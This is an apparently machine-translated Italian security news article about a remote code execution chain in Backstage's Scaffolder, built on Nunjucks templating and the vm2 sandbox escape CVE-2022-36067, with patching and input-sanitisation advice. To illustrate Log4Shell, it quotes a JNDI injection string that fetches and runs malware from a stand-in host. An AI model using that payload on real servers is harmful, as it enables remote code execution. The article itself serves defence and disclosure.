Buco di esecuzione del codice simile a Log4Shell nel popolare strumento di sviluppo Backstage PlatoBlockchain Data Intelligence. Ricerca verticale. Ai.

Buco di esecuzione del codice simile a Log4Shell nel popolare strumento di sviluppo Backstage

I ricercatori della società di sicurezza del cloud coding Oxeye hanno scritto un bug critico che hanno recentemente scoperto nel popolare toolkit di sviluppo cloud Backstage.

Vostro rapporto include una spiegazione di come funziona il bug, oltre a un codice PoC (proof-of-concept) che mostra come sfruttarlo.

Backstage è ciò che è noto come portale per sviluppatori cloud, una sorta di back-end di logica aziendale che semplifica la creazione di API basate sul Web (interfacce di programmazione dell'applicazione) per consentire ai programmatori all'interno e all'esterno della tua azienda di interagire con i tuoi servizi online.

Nelle parole del progetto stesso, originariamente creato su Spotify ma ora open-source su GutHub:

Backstage è una piattaforma aperta per la creazione di portali per sviluppatori. Alimentato da un catalogo software centralizzato, Backstage ripristina l'ordine nei microservizi e nell'infrastruttura e consente ai team di prodotto di inviare rapidamente codice di alta qualità, senza compromettere l'autonomia.

Backstage unifica tutti gli strumenti, i servizi e la documentazione dell'infrastruttura per creare un ambiente di sviluppo ottimizzato dall'inizio alla fine.

No, non sappiamo nemmeno veramente cosa significhi, ma sappiamo che il toolkit è scritto in JavaScript, viene eseguito utilizzando il sistema JavaScript lato server node.jse attira una rete di dipendenze della catena di approvvigionamento dall'ecosistema NPM.

NPM è l'abbreviazione di Gestore pacchetti nodo, un toolkit automatizzato per garantire che il tuo codice JavaScript di back-end possa facilmente utilizzare un'ampia gamma di librerie open source che forniscono strumenti di supporto popolari e pre-scritti per tutto, dalla crittografia e gestione del database alla registrazione e al controllo della versione.

Esecuzione di codice remoto

Sfortunatamente, il bug rivelato oggi, se non corretto, potrebbe fornire agli estranei non autenticati (in generale, chiunque possa effettuare connessioni API ai tuoi server) un modo per attivare l'esecuzione di codice remoto (RCE) all'interno dei server di logica aziendale sulla tua rete.

Fortunatamente, tuttavia, se abbiamo interpretato correttamente la descrizione di Oxeye, l'attacco che descrivono per il loro Backstage RCE dipende da una sequenza di difetti di codifica che in ultima analisi dipendono da un bug specifico, designato CVE-2022-36067 in un componente della catena di approvvigionamento su cui fa affidamento Backstage chiamato vm2.

Nel caso ve lo stiate chiedendo, vm2 è un modulo NPM generico che implementa una "sandbox per macchine virtuali" che mira a rendere JavaScript potenzialmente rischioso un po' più sicuro da eseguire sui vostri server.

Quel bug CVE-2022-36067 in vm2 era segnalati nell'agosto 2022 dalla stessa Oxeye (che gli ha dato un nome adatto alle pubbliche relazioni di "Sandbreak", perché è uscito dalla sandbox), e rattoppato prontamente dal team vm2 quasi tre mesi fa.

Quindi, per quanto possiamo vedere, se sei un utente di Backstage vorrai assicurarti di aver corretto tutti i componenti a rischio nella tua configurazione di Backstage...

… ma se hai patchato il componente vm2 che era vulnerabile a Sandbreak tutti quei mesi fa, allora sembra che tu non sia direttamente vulnerabile all'exploit descritto nell'ultima rivelazione di Oxeye.

Inoltre, se i tuoi server Backstage sono configurati come suggerirebbero buone linee guida per la sicurezza informatica, con l'autenticazione richiesta sia all'edge della rete che all'interno della rete, non sarai a rischio di indagini casuali "solo per scopi di ricerca" da parte di individui "utili" determinati per dimostrare che sono interessati alla "ricerca" sulle minacce informatiche.

Un attacco all'emmenthal

In poche parole, i problemi di sicurezza recentemente divulgati sono l'effetto collaterale di una serie di problemi di sicurezza, come buchi in fette di formaggio Emmenthal che potrebbero essere permeati in sequenza se un utente malintenzionato è in grado di allineare almeno un buco su ogni fetta.

A quanto ci risulta, Backstage include un componente chiamato Scaffolder, che, come suggerisce il nome, ti aiuta a gestire i vari componenti aggiuntivi (noti come plug-in) che la tua comunità di sviluppatori potrebbe desiderare o di cui ha bisogno.

Scaffolder, a sua volta, utilizza un sistema di registrazione dei messaggi di Mozilla noto come Nunjucks, che include ciò che è noto come modello di stringa in node.js cerchi, come interpolazione di stringhe nel mondo Java, e come sostituzione di stringa agli amministratori di sistema che usano shell di comando come Bash.

Se l'interpolazione delle stringhe suona un campanello, è probabilmente perché si trova al centro del Log4Shell vulnerabilità nel dicembre 2021 e del Follina bug a metà del 2022.

È dove puoi riscrivere il contenuto di un messaggio di registrazione basato su speciali "caratteri di codifica" in un modello di stringa, in modo che una stringa come $USER potrebbe essere sostituito con il nome dell'account utilizzato dal server, oppure ${PID} potrebbe recuperare l'ID del processo corrente.

Nel caso estremo di Log4Shell, l'incantesimo dall'aspetto curioso ${jndi:ldap://example.com:8888/malware} potrebbe indurre direttamente il server a scaricare un programma chiamato malware da example.com ed eseguirlo silenziosamente in background.

In altre parole, è necessario essere assolutamente certi che i dati che arrivano da una fonte non attendibile, come un utente esterno, non vengano mai passati alla cieca in una funzione di interpolazione di stringhe o modelli di stringhe da utilizzare come il testo del modello stesso.

Se un utente remoto, ad esempio, tenta di ingannare il tuo server fornendo il proprio nome utente come ${{RISKY}} (supponendo che la libreria di modelli utilizzi ${{...}} come suo marcatore speciale), devi assicurarti che il tuo codice di registrazione registrerà correttamente quel testo dall'aspetto cattivo letteralmente come è stato ricevuto...

…piuttosto che consentire al testo registrato di assumere il controllo sulla funzione di registrazione stessa!

Nelle parole di una vecchia filastrocca, devi assicurarti di non finire a cantare: "C'è un buco nel mio ${{BUCKET}}, cara Liza, cara Liza, c'è un buco nel mio ${{BUCKET}}, cara Lisa. Un buco!"

Avvolto in una coperta di sicurezza

Per essere onesti, la funzionalità di templating/interpolazione forse troppo potente di Nunjucks è racchiusa da Backstage all'interno di un altro componente della catena di fornitura, vale a dire il già citato sistema di sandboxing vm2, che dovrebbe limitare il pericolo che un utente malintenzionato potrebbe fare con booby dati di input intrappolati.

Sfortunatamente, i ricercatori di Oxeye sono stati in grado di accoppiare i percorsi di attivazione del codice dei modelli di stringhe appena scoperti in Backstage + Scaffolder + Nunjucks con la vecchia vulnerabilità CVE-2022-36067 nel wrapper di sicurezza vm2 al fine di ottenere una potenziale esecuzione di codice remoto su un server Backstage .

Cosa fare?

Se sei un utente Backstage:

  • Assicurati di disporre delle versioni più recenti di Backstage e delle relative dipendenze, compreso l' plugin-scaffolder-backend componente. Secondo Oxeye, i bug rilevanti nel codice Backstage sono stati corretti entro il 01° settembre 2022, in modo che qualsiasi rilascio parziale ufficiale dopo tali dati dovrebbe includere le correzioni. Al momento in cui scrivo [2022-11-1T16:00Z], che include Backstage 1.6.0, 1.7.0 ed 1.8.0, pubblicato rispettivamente il 2022-09-21, il 2022-10-18 e il 2022-11-15.
  • Verifica che l'installazione Backstage abbia l'autenticazione configurata come previsto. Oxeye afferma che l'autenticazione è disattivata per impostazione predefinita e che dopo aver seguito il file Linee guida dietro le quinte, i server back-end (che probabilmente non dovrebbero comunque essere esposti esternamente) consentivano comunque l'accesso non autenticato. Potrebbe essere quello che vuoi, ma ti consigliamo di utilizzare questo problema come motivo per verificare che la tua configurazione corrisponda alle tue intenzioni.
  • Verifica quali parti della tua infrastruttura Backstage possono essere raggiunte da Internet. Ancora una volta, usa questo problema come motivo per scansionare la tua rete dall'esterno se non l'hai fatto di recente.

Se sei un utente node.js/NPM:

  • Assicurati di disporre dell'ultima versione del componente vm2 sandbox. Potresti averlo installato come dipendenza di altri software che usi, anche se non hai Backstage. La vulnerabilità CVE-2022-36067 è stata corretta il 2022-08-28, quindi vuoi la versione vm2 3.9.11 o dopo.

Se sei un programmatore:

  • Sii il più difensivo possibile quando chiami potenti funzioni di registrazione. Se utilizzi un servizio di registrazione (inclusi Nunjucks o Log4J) che include potenti funzionalità di creazione di modelli/interpolazione, disattiva tutte le funzionalità che non ti servono in modo che non possano essere sfruttate per errore. Assicurarsi che l'input non attendibile non venga mai utilizzato come modello, impedendo così agli aggressori di eseguire il rolling delle proprie stringhe di input direttamente pericolose.
  • Indipendentemente da qualsiasi altra precauzione in atto, disinfetta i tuoi input e output di registrazione. Ricorda che qualcun altro dovrà aprire i tuoi file di registro in futuro. Non permettere che trappole esplosive involontarie vengano scritte nel tuo file di registro dove potrebbero causare problemi in seguito, come frammenti HTML con tag di script lasciati. (Qualcuno potrebbe aprire il file in un browser per errore.)

Anche quando ricevi input da una fonte attendibile, raramente c'è motivo per non sottoporlo ai tuoi controlli di sanificazione prima di utilizzarlo.

(Potresti occasionalmente giustificare un'eccezione, ad esempio per motivi di prestazioni, ma dovrebbe essere un'eccezione, non la regola.)

In primo luogo, controllare di nuovo ti aiuta a individuare gli errori che i programmatori precedenti potrebbero aver commesso in buona fede; in secondo luogo, aiuta a limitare la diffusione di dati errati o trappole esplosive se qualche altra parte del tuo ecosistema viene compromessa.

Il bello di quelle fette di formaggio Emmenthal di cui abbiamo parlato prima è che sebbene siano permeabili se almeno un foro si allinea su ogni foglio...

…sono impermeabili se c'è almeno un telo con fori che non combaciano!


Timestamp:

Di più da Sicurezza nuda